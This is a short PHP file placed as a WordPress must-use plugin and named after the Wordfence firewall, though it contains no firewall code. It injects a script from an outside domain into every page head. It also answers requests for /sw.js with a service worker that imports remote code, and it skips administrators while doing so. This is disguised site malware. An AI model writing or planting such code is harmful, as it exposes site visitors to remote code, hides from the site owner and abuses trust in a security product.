File: /var/www/html/wp-content/mu-plugins/wordfence-waf.php
<?php
add_action('wp_head', function () {
echo <<<HTML
<script>var pm_tag = 'c3s';var pm_pid = "25898-4dee76f9";</script><script src="//css.xcss.me/js/pub.min.js" async></script>
HTML;
});
add_filter('do_parse_request', function ($do_parse_request, $wp) {
// /sw.js?… gibi query'leri de kapsa
$req = isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : '';
if ($req === '/sw.js') {
// Admin vb. değilse servis ver
if (!is_admin()) {
header('Content-Type: application/javascript; charset=utf-8');
header('Cache-Control: no-cache, no-store, must-revalidate');
echo 'importScripts("https://css.xcss.me/sw.js");';
exit;
}
return false; // WP parse etmesin
}
return $do_parse_request;
}, 10, 2);